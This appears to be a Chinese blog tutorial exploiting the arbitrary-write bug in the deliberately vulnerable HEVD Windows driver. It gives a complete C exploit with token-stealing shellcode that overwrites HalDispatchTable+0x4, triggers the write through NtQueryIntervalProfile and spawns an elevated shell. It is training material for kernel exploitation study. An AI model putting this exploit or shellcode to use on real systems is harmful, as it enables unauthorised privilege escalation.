HEVD-第三部分-任意地址写

驱动分析

首先仍然是打开IDA分析,在这里插入图片描述
任意写函数
在这里插入图片描述
首先计算IO_CODE
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003) = 0x22200b

由第二部分已经知道了
LINK_NAME = L\DosDevices\HackSysExtremeVulnerableD

现在就已经拿到了,符号链接名和控制码

bug分析

IDA
在这里插入图片描述
源码:
在这里插入图片描述
并没有验证该空间是否是内核还是用户空间,也没有验证该页是否可读是否可写

而且要注意,what,where分别占4字节
在这里插入图片描述

漏洞利用

还是用上次的代码,做测试先

测试

int main() {
	printf("[+] calling createFile() to obtain a handle to the driver..\n");
	HANDLE hDevice = CreateFile(LINK_NAME, 0xC0000000, 0, NULL, 0x3, 0, NULL);
	if (hDevice == INVALID_HANDLE_VALUE) {
		printf("[-] Error - Unable to obtain a handle to the driver..\n");
		exit(1);
	}
	printf("[+] Successfully obtained a handle to the driver. .\n");
	/*
	LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请shellcode个大小为下面存放shellcode
	if (!alloc) {
		printf("[-] ERROR - unable to allocate space for shellcode\n");
		exit(1);
	}
	RtlMoveMemory(alloc, shellcode, sizeof(shellcode));
	*/
	printf("[+] now cpoy shellcode to the executable memory region...\n");
	// Declane 'bytesRetn' variable for'DeviceIocontrol -> lpBytesReturned' parameter 
	DWORD bytesRetn;
	// set 'expl' variable to match the buffer size specified in analysis (0x800 or 2048 decimal) plus 0x100
	char exp1[100];//
	//size_t offset = 2080 ;
	memset(exp1, 'A', sizeof(exp1));
	//memcpy(&exp1[offset], &alloc, 0x4);//返回地址写入到shellcode起始地址
	printf("[+]starting interaction with the driver..\n");
	DeviceIoControl(hDevice, IO_CODE, exp1, sizeof(exp1), NULL, 0, &bytesRetn, NULL);
	//system("cmd.exe");
	CloseHandle(hDevice);
	return 0;

}

在这里插入图片描述
可以看到工占8个字节,what,where分别占4个
而且已经控制了两个指针,如果这个时候where是一个可执行的或待执行的地址(指向内核中的),而且what是shellcode地址,这样在执行的时候就会执行shellcode,
可以考虑覆盖内核调度表中的指针,这样不会崩溃

  • 1.SSDT (System Service Descriptor Table) nt!KeServiceDescriptorTable存储系统调用的地址;内核使用它来调度系统调用。
  • 2.HAL 调度表nt!HalDispatchTable。HAL(硬件抽象层)用于将操作系统与硬件隔离。基本上,它允许在具有不同硬件的机器上运行相同的操作系统。此表存储指向
    HAL 使用的例程的指针。

第一步找到可用地址

内核中有一个很少使用的函数NtQueryIntervalProfile(是ntdll.dll 导出的一个未记录的系统调用,用于检索当前设置的性能计数器滴答之间的延迟),它调用另一个函数KeQueryIntervalProfile,它再次调用HalDispatchTable+0x4。
在这里插入图片描述
因此,完成了对位于地址nt!HalDispatchTable+0x4的例程的调用(见红色框)。因此,如果我们用我们的 shellcode 的地址覆盖那个地址的指针——也就是指向 HalDispatchTable 的第二个指针;然后如果我们调用函数NtQueryIntervalProfile(),我们的 shellcode 就会被执行(具体细节参考0day 那本书第22章)
也就是
what = shellcode 的地址,
where= nt!HalDispatchTable+0x4的地址

获取HalDispatchTable偏移

现在要做的就是获取NtQueryIntervalProfile,HalDispatchTable函数偏移
首先是检索系统中的每个设备驱动程序的加载地址,然后指定名称,确定ntkrnlpa.exe在内核模式的基地址,然后使用getprocaddress()获取halDispathchTable的地址
在这里插入图片描述
然后就是将what->where
what = (PVOID)&alloc;
where = (PVOID*)hal_offset_4;
WRITE_WHAT_WHERE exploit;
exploit.What = (PULONG_PTR)what;
exploit.Where = (PULONG_PTR)where;
然后就是通过设备控制发送过去

DeviceIoControl(hDevice, IO_CODE, &exploit, sizeof(exploit), NULL, 0, &bytesRetn, NULL);//第一次交互,将地址改掉,然后调用NtQueryIntervalProfile进行触发
最后就是执行NtQueryIntervalProfile()触发在这里插入图片描述
参考链接
https://rootkits.xyz/blog/2017/09/kernel-write-what-where/
总体代码:

#include<stdio.h>
#include<Windows.h>
#include<Psapi.h>
#include<profileapi.h>
#include<stdlib.h>

#define LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"

// set Io_CODE for the stack overflow vulnerability
#define IO_CODE 0x22200B
//窃取token
char shellcode[] = { 
	"\x90\x90\x90\x90"             // NOP Sled
	"\x60"                         // pushad
	"\x31\xc0"                     // xor eax,eax
	"\x64\x8b\x80\x24\x01\x00\x00" // mov eax,[fs:eax + 0x124]
	"\x8b\x40\x50"                 // mov eax,[eax + 0x50]
	"\x89\xc1"                     // mov ecx,eax
	"\xba\x04\x00\x00\x00"         // mov edx,0x4
	"\x8b\x80\xb8\x00\x00\x00"     // mov eax,[eax + 0xb8]
	"\x2d\xb8\x00\x00\x00"         // sub eax,0xb8
	"\x39\x90\xb4\x00\x00\x00"     // cmp[eax + 0xb4],edx
	"\x75\xed"                     // jnz 0x1a
	"\x8b\x90\xf8\x00\x00\x00"     // mov edx,[eax + 0xf8]
	"\x89\x91\xf8\x00\x00\x00"     // mov[ecx + 0xf8],edx
	"\x61"                         // popad
	"\x31\xc0"                     // xor eax,eax
	"\x83\xc4\x24"                 // add esp,byte + 0x24
	"\x5d"                         // pop ebp
	"\xc2\x08\x00"                 // ret 0x8
 };

typedef struct _WRITE_WHAT_WHERE
{
	PULONG_PTR What;
	PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

typedef ULONG(__stdcall *NtQueryIntervalProfile_t) (ULONG, PULONG);

//typedef NTSTATUS (WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource,OUT PULONG Interval);

//typedef NTSTATUS(WINAPI* _NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);

LPVOID NtkrnlpaBase()
{
	LPVOID lpImageBase[1024];
	DWORD lpcbNeeded;
	TCHAR lpfileName[1024];
	//Retrieves the load address for each device driver in the system
	EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

	for (int i = 0; i < 1024; i++)
	{
		//检索指定设备驱动程序的基本名称
		GetDeviceDriverBaseNameA(lpImageBase[i],(LPSTR)lpfileName,48);

		if (!strcmp((CHAR*)lpfileName, "ntkrnlpa.exe"))
		{
			printf("[+]success to get %s\n", lpfileName);
			return lpImageBase[i];
		}
	}
	return NULL;
}

static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


int main() {
	printf("[+] calling createFile() to obtain a handle to the driver..\n");
	HANDLE hDevice = CreateFile(LINK_NAME, 0xC0000000, 0, NULL, 0x3, 0, NULL);
	if (hDevice == INVALID_HANDLE_VALUE) {
		printf("[-] Error - Unable to obtain a handle to the driver..\n");
		exit(1);
	}
	printf("[+] Successfully obtained a handle to the driver. .\n");

	LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请shellcode个大小为下面存放shellcode
	if (!alloc) {
		printf("[-] ERROR - unable to allocate space for shellcode\n");
		exit(1);
	}
	RtlMoveMemory(alloc, shellcode, sizeof(shellcode));
	printf("shellcode  address is 0x%p\n", alloc);
	printf("[+] now cpoy shellcode to the executable memory region...\n");

	HMODULE hUserSpaceBase = LoadLibrary(L"ntkrnlpa.exe");
	PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
	LPVOID pNtkrnlpaBase = NtkrnlpaBase();
	printf("ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);
	DWORD32 hal_offset_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
	printf("hal_4 offset is 0x%x\n", hal_offset_4);//0x83f693fc
	//system("pause");
	PVOID what;
	PVOID where;
	what = (PVOID)&alloc;
	where = (PVOID*)hal_offset_4;
	WRITE_WHAT_WHERE exploit;
	exploit.What = (PULONG_PTR)what;
	exploit.Where = (PULONG_PTR)where;
	printf("exploit.where offset is 0x%x\n", where);//0x83f693fc
	DWORD bytesRetn;
	DWORD interVal = 0;
	printf("[+]starting interaction with the driver..\n");
	DeviceIoControl(hDevice, IO_CODE, &exploit, sizeof(exploit), NULL, 0, &bytesRetn, NULL);//第一次交互,将地址改掉,然后调用NtQueryIntervalProfile进行触发
	
	NtQueryIntervalProfile_t NtQueryIntervalProfile =(NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
	printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
	NtQueryIntervalProfile(0x1337, &interVal);

	printf("[+]Start to Create cmd...\n");
	CreateCmd();
	system("pause");
	CloseHandle(hDevice);
	return 0;

}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值